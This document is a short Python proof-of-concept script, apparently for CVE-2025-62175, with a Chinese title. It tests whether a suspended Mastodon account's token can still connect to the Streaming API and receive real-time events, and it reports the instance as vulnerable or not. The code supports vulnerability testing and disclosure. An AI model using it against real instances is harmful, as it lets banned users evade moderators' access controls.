CVE-2025-62175 Mastodon流式API未正确断开已禁用账户连接

# CVE-2025-62175 PoC - Mastodon Streaming API Access Control Bypass # This PoC demonstrates that disabled/suspended accounts can still # connect to the Streaming API after being banned. import websocket import requests import json import time # Configuration MASTODON_INSTANCE = "https://your-mastodon-instance.com" ACCESS_TOKEN = "YOUR_ACCESS_TOKEN_BEFORE_BAN" # Token obtained before account suspension def connect_to_streaming_api(): """ Connect to Mastodon Streaming API using a token from a disabled/suspended account. Expected behavior: Connection should be rejected after account suspension. Actual behavior (vulnerable): Connection succeeds and receives real-time updates. """ ws_url = f"wss://{MASTODON_INSTANCE.replace('https://', '')}/api/v1/streaming/?stream=user" headers = { "Authorization": f"Bearer {ACCESS_TOKEN}" } try: ws = websocket.create_connection(ws_url, header=headers) print("[+] Successfully connected to Streaming API with suspended account token!") print("[+] This indicates CVE-2025-62175 vulnerability is present.") # Listen for incoming messages for a few seconds ws.settimeout(10) while True: try: message = ws.recv() data = json.loads(message) print(f"[+] Received stream event: {data}") except websocket.WebSocketTimeoutException: print("[*] No more events received within timeout.") break ws.close() return True except websocket.WebSocketBadStatusException as e: print(f"[-] Connection rejected (expected on patched versions): {e}") return False except Exception as e: print(f"[-] Error: {e}") return False def verify_account_status(): """Check if the account is suspended or disabled via REST API.""" headers = {"Authorization": f"Bearer {ACCESS_TOKEN}"} response = requests.get(f"{MASTODON_INSTANCE}/api/v1/accounts/verify_credentials", headers=headers) if response.status_code == 403: print("[+] Account is confirmed suspended/disabled via REST API.") return True elif response.status_code == 200: print("[!] Account is still active.") return False else: print(f"[?] Unexpected status: {response.status_code}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-62175 - Mastodon Streaming API Bypass PoC") print("=" * 60) # Step 1: Verify account is suspended via REST API is_suspended = verify_account_status() if is_suspended: # Step 2: Attempt to connect to Streaming API (should fail on patched versions) print("\n[*] Attempting Streaming API connection with suspended token...") result = connect_to_streaming_api() if result: print("\n[!] VULNERABLE: Streaming API connection succeeded despite account suspension!") else: print("\n[+] NOT VULNERABLE: Streaming API correctly rejected the connection.") else: print("\n[*] Account is not suspended. Suspend the account first to test.")